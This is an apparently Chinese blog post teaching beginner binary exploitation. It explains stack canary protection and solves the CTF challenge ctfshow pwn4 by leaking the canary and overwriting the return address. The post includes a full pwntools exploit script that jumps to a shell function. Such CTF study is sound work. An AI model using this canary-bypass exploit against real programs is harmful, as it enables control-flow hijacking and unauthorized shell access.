pwn入门之canary保护

1.什么是canary?

简单来说canary是生成的一个以 0x00开头的随机数,它存在于ebp或者rbp的附近。

2.canary保护机制是如何实现的?

简单来说就是你输入的值和canary值不相同的话,结束程序。

3.如何绕过?

今天主要讲一种方法利用格式化字符串漏洞泄露

例题ctfshow--pwn4

vuln函数

read函数读入数据通过printf输出。然后就是v3就是我们要泄露出的canary值,跟进v3

我们可以看到buf变量距离ebp112距离,canary距离ebp12距离。那么思路来了。

首先填充垃圾数据100个到刚好贴着canary,然后接收canary的值。这样canary就被我们泄露出来了。Exp如下:

from pwn import *    
p = process("./pwn4")
elf=ELF('./pwn4')  
shell=0x0804859B
p.recvuntil('Hacker!') 
payload=b'f'*100+b'b'         #这里多填一个b覆盖掉canary的\x00
p.send(payload)               #不能用sendline,因为一个回车会占字节
p.recvuntil('b')
canary=b'\x00'+p.recv(3)       
print(canary)
payload = b'A'* 100 + canary + b'A'* 12 + p32(shell)    
p.sendline(payload)
p.interactive()

解读第二个payload:buf变量距离返回地址距离116,距离canary100,(canary在这里占4字节),emmm....就是正常的ret2text了。

总结:这个题是最简单的canary题型,其他的canary估计是配合着libc等类型共同出现。

补充:据我所知:canary在32位elf中占4字节,在64位elf中占8字节。

  • 22
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值